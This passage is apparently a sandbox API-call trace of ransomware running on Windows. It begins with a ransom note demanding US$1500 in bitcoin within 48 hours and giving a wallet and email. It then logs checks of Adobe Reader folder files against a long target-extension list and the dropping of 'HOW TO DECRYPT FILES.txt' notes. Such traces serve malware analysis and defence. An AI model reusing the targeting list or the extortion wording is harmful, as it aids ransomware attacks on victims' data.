this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0070.268] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0070.270] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.270] CloseHandle (hObject=0x94) returned 1 [0070.270] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\", lpString2="eula.ini" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini" [0070.270] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.ems") returned 0 [0070.270] lstrlenA (lpString="*.ems") returned 5 [0070.270] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.db") returned 0 [0070.270] lstrlenA (lpString="*.db") returned 4 [0070.270] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.dbf") returned 0 [0070.270] lstrlenA (lpString="*.dbf") returned 5 [0070.270] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.myox") returned 0 [0070.270] lstrlenA (lpString="*.myox") returned 6 [0070.270] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.myo") returned 0 [0070.271] lstrlenA (lpString="*.myo") returned 5 [0070.271] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.qbw") returned 0 [0070.271] lstrlenA (lpString="*.qbw") returned 5 [0070.271] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.qbb") returned 0 [0070.271] lstrlenA (lpString="*.qbb") returned 5 [0070.271] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.qbm") returned 0 [0070.271] lstrlenA (lpString="*.qbm") returned 5 [0070.271] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.qbo") returned 0 [0070.271] lstrlenA (lpString="*.qbo") returned 5 [0070.271] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.qbx") returned 0 [0070.271] lstrlenA (lpString="*.qbx") returned 5 [0070.271] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.qba") returned 0 [0070.271] lstrlenA (lpString="*.qba") returned 5 [0070.271] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.qby") returned 0 [0070.271] lstrlenA (lpString="*.qby") returned 5 [0070.271] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.qbj") returned 0 [0070.271] lstrlenA (lpString="*.qbj") returned 5 [0070.271] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.ofx") returned 0 [0070.272] lstrlenA (lpString="*.ofx") returned 5 [0070.272] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.qif") returned 0 [0070.272] lstrlenA (lpString="*.qif") returned 5 [0070.272] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.mye") returned 0 [0070.272] lstrlenA (lpString="*.mye") returned 5 [0070.272] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.mbox") returned 0 [0070.272] lstrlenA (lpString="*.mbox") returned 6 [0070.272] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.eml") returned 0 [0070.272] lstrlenA (lpString="*.eml") returned 5 [0070.272] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.pst") returned 0 [0070.272] lstrlenA (lpString="*.pst") returned 5 [0070.272] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.ost") returned 0 [0070.272] lstrlenA (lpString="*.ost") returned 5 [0070.272] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.idx") returned 0 [0070.272] lstrlenA (lpString="*.idx") returned 5 [0070.272] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.dbx") returned 0 [0070.272] lstrlenA (lpString="*.dbx") returned 5 [0070.272] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.sql") returned 0 [0070.272] lstrlenA (lpString="*.sql") returned 5 [0070.272] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.mdb") returned 0 [0070.273] lstrlenA (lpString="*.mdb") returned 5 [0070.273] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.fdb") returned 0 [0070.273] lstrlenA (lpString="*.fdb") returned 5 [0070.273] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.wab") returned 0 [0070.273] lstrlenA (lpString="*.wab") returned 5 [0070.273] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.dat") returned 0 [0070.273] lstrlenA (lpString="*.dat") returned 5 [0070.273] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.txt") returned 0 [0070.273] lstrlenA (lpString="*.txt") returned 5 [0070.273] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.jpeg") returned 0 [0070.273] lstrlenA (lpString="*.jpeg") returned 6 [0070.273] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.jpg") returned 0 [0070.273] lstrlenA (lpString="*.jpg") returned 5 [0070.273] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.png") returned 0 [0070.273] lstrlenA (lpString="*.png") returned 5 [0070.273] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.php") returned 0 [0070.273] lstrlenA (lpString="*.php") returned 5 [0070.273] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.cs") returned 0 [0070.273] lstrlenA (lpString="*.cs") returned 4 [0070.273] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.cpp") returned 0 [0070.273] lstrlenA (lpString="*.cpp") returned 5 [0070.274] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.rar") returned 0 [0070.274] lstrlenA (lpString="*.rar") returned 5 [0070.274] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.zip") returned 0 [0070.274] lstrlenA (lpString="*.zip") returned 5 [0070.274] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.html") returned 0 [0070.274] lstrlenA (lpString="*.html") returned 6 [0070.274] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.htm") returned 0 [0070.274] lstrlenA (lpString="*.htm") returned 5 [0070.274] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.xlsx") returned 0 [0070.274] lstrlenA (lpString="*.xlsx") returned 6 [0070.274] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.xls") returned 0 [0070.274] lstrlenA (lpString="*.xls") returned 5 [0070.274] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.mp4") returned 0 [0070.274] lstrlenA (lpString="*.mp4") returned 5 [0070.274] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.ppt") returned 0 [0070.274] lstrlenA (lpString="*.ppt") returned 5 [0070.274] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.pptx") returned 0 [0070.274] lstrlenA (lpString="*.pptx") returned 6 [0070.274] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.doc") returned 0 [0070.274] lstrlenA (lpString="*.doc") returned 5 [0070.275] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.dot") returned 0 [0070.275] lstrlenA (lpString="*.dot") returned 5 [0070.275] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.docx") returned 0 [0070.275] lstrlenA (lpString="*.docx") returned 6 [0070.275] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.7z") returned 0 [0070.275] lstrlenA (lpString="*.7z") returned 4 [0070.275] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.tar") returned 0 [0070.275] lstrlenA (lpString="*.tar") returned 5 [0070.275] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.bz2") returned 0 [0070.276] lstrlenA (lpString="*.bz2") returned 5 [0070.276] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.gz") returned 0 [0070.276] lstrlenA (lpString="*.gz") returned 4 [0070.276] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.mkv") returned 0 [0070.276] lstrlenA (lpString="*.mkv") returned 5 [0070.276] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.eml") returned 0 [0070.276] lstrlenA (lpString="*.eml") returned 5 [0070.276] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.msg") returned 0 [0070.276] lstrlenA (lpString="*.msg") returned 5 [0070.276] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.edb") returned 0 [0070.276] lstrlenA (lpString="*.edb") returned 5 [0070.276] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.accdb") returned 0 [0070.276] lstrlenA (lpString="*.accdb") returned 7 [0070.276] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.odb") returned 0 [0070.276] lstrlenA (lpString="*.odb") returned 5 [0070.276] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.java") returned 0 [0070.276] lstrlenA (lpString="*.java") returned 6 [0070.276] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.asm") returned 0 [0070.276] lstrlenA (lpString="*.asm") returned 5 [0070.277] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.pfx") returned 0 [0070.277] lstrlenA (lpString="*.pfx") returned 5 [0070.277] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.pem") returned 0 [0070.277] lstrlenA (lpString="*.pem") returned 5 [0070.277] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.p12") returned 0 [0070.277] lstrlenA (lpString="*.p12") returned 5 [0070.277] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.gpg") returned 0 [0070.277] lstrlenA (lpString="*.gpg") returned 5 [0070.277] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.vsd") returned 0 [0070.277] lstrlenA (lpString="*.vsd") returned 5 [0070.277] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.odg") returned 0 [0070.277] lstrlenA (lpString="*.odg") returned 5 [0070.277] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.raw") returned 0 [0070.277] lstrlenA (lpString="*.raw") returned 5 [0070.277] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.nef") returned 0 [0070.277] lstrlenA (lpString="*.nef") returned 5 [0070.277] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.svg") returned 0 [0070.277] lstrlenA (lpString="*.svg") returned 5 [0070.277] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.psd") returned 0 [0070.277] lstrlenA (lpString="*.psd") returned 5 [0070.277] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.vmx") returned 0 [0070.277] lstrlenA (lpString="*.vmx") returned 5 [0070.278] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.vmdk") returned 0 [0070.278] lstrlenA (lpString="*.vmdk") returned 6 [0070.278] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.vdi") returned 0 [0070.278] lstrlenA (lpString="*.vdi") returned 5 [0070.278] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.lay6") returned 0 [0070.278] lstrlenA (lpString="*.lay6") returned 6 [0070.278] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.mpeg") returned 0 [0070.278] lstrlenA (lpString="*.mpeg") returned 6 [0070.278] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.djvu") returned 0 [0070.278] lstrlenA (lpString="*.djvu") returned 6 [0070.278] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.tiff") returned 0 [0070.278] lstrlenA (lpString="*.tiff") returned 6 [0070.278] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.backup") returned 0 [0070.278] lstrlenA (lpString="*.backup") returned 8 [0070.278] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.pdf") returned 0 [0070.278] lstrlenA (lpString="*.pdf") returned 5 [0070.278] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.cert") returned 0 [0070.278] lstrlenA (lpString="*.cert") returned 6 [0070.278] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.docm") returned 0 [0070.278] lstrlenA (lpString="*.docm") returned 6 [0070.278] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.xlsm") returned 0 [0070.278] lstrlenA (lpString="*.xlsm") returned 6 [0070.279] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.dwg") returned 0 [0070.279] lstrlenA (lpString="*.dwg") returned 5 [0070.279] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.nd") returned 0 [0070.279] lstrlenA (lpString="*.nd") returned 4 [0070.279] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.tlg") returned 0 [0070.279] lstrlenA (lpString="*.tlg") returned 5 [0070.279] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.lgb") returned 0 [0070.279] lstrlenA (lpString="*.lgb") returned 5 [0070.279] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.mov") returned 0 [0070.279] lstrlenA (lpString="*.mov") returned 5 [0070.279] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.xdw") returned 0 [0070.279] lstrlenA (lpString="*.xdw") returned 5 [0070.279] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.ods") returned 0 [0070.279] lstrlenA (lpString="*.ods") returned 5 [0070.279] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.wav") returned 0 [0070.279] lstrlenA (lpString="*.wav") returned 5 [0070.279] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.mp3") returned 0 [0070.279] lstrlenA (lpString="*.mp3") returned 5 [0070.279] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.aiff") returned 0 [0070.279] lstrlenA (lpString="*.aiff") returned 6 [0070.279] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.flac") returned 0 [0070.280] lstrlenA (lpString="*.flac") returned 6 [0070.280] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.m4a") returned 0 [0070.280] lstrlenA (lpString="*.m4a") returned 5 [0070.280] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", pszSpec="*.csv") returned 0 [0070.280] lstrlenA (lpString="*.csv") returned 5 [0070.280] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd34f, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0070.280] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.280] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="license.html") returned -1 [0070.280] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="license.html") returned -1 [0070.280] lstrcmpiA (lpString1="", lpString2="license.html") returned -1 [0070.280] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini") returned="eula.ini" [0070.280] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\" [0070.280] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\") returned="" [0070.280] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\HOW TO DECRYPT FILES.txt" [0070.280] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\suo\\how to decrypt files.txt")) returned 0x20 [0070.280] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\", lpString2="license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html" [0070.281] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html", pszSpec="*.ems") returned 0 [0070.281] lstrlenA (lpString="*.ems") returned 5 [0070.281] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html", pszSpec="*.db") returned 0 [0070.281] lstrlenA (lpString="*.db") returned 4 [0070.281] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html", pszSpec="*.dbf") returned 0 [0070.281] lstrlenA (lpString="*.dbf") returned 5 [0070.281] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html", pszSpec="*.myox") returned 0 [0070.281] lstrlenA (lpString="*.myox") returned 6 [0070.281] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html", pszSpec="*.myo") returned 0 [0070.281] lstrlenA (lpString="*.myo") returned 5 [0070.281] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html", pszSpec="*.qbw") returned 0 [0070.281] lstrlenA (lpString="*.qbw") returned 5 [0070.281] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html", pszSpec="*.qbb") returned 0 [0070.281] lstrlenA (lpString="*.qbb") returned 5 [0070.281] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html", pszSpec="*.qbm") returned 0 [0070.281] lstrlenA (lpString="*.qbm") returned 5 [0070.281] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html", pszSpec="*.qbo") returned 0 [0070.281] lstrlenA (lpString="*.qbo") returned 5 [0070.281] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html", pszSpec="*.qbx") returned 0 [0070.282] lstrlenA (lpString="*.qbx") returned 5 [0070.282] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html", pszSpec="*.qba") returned 0 [0070.282] lstrlenA (lpString="*.qba") returned 5 [0070.282] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html", pszSpec="*.qby") returned 0 [0070.282] lstrlenA (lpString="*.qby") returned 5 [0070.282] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html", pszSpec="*.qbj") returned 0 [0070.282] lstrlenA (lpString="*.qbj") returned 5 [0070.282] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html", pszSpec="*.ofx") returned 0 [0070.282] lstrlenA (lpString="*.ofx") returned 5 [0070.282] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html", pszSpec="*.qif") returned 0 [0070.282] lstrlenA (lpString="*.qif") returned 5 [0070.282] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html", pszSpec="*.mye") returned 0 [0070.282] lstrlenA (lpString="*.mye") returned 5 [0070.282] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html", pszSpec="*.mbox") returned 0 [0070.282] lstrlenA (lpString="*.mbox") returned 6 [0070.282] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html", pszSpec="*.eml") returned 0 [0070.282] lstrlenA (lpString="*.eml") returned 5 [0070.282] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html", pszSpec="*.pst") returned 0 [0070.282] lstrlenA (lpString="*.pst") returned 5 [0070.282] PathMatchSpecA (pszFile="C:\\Program Files 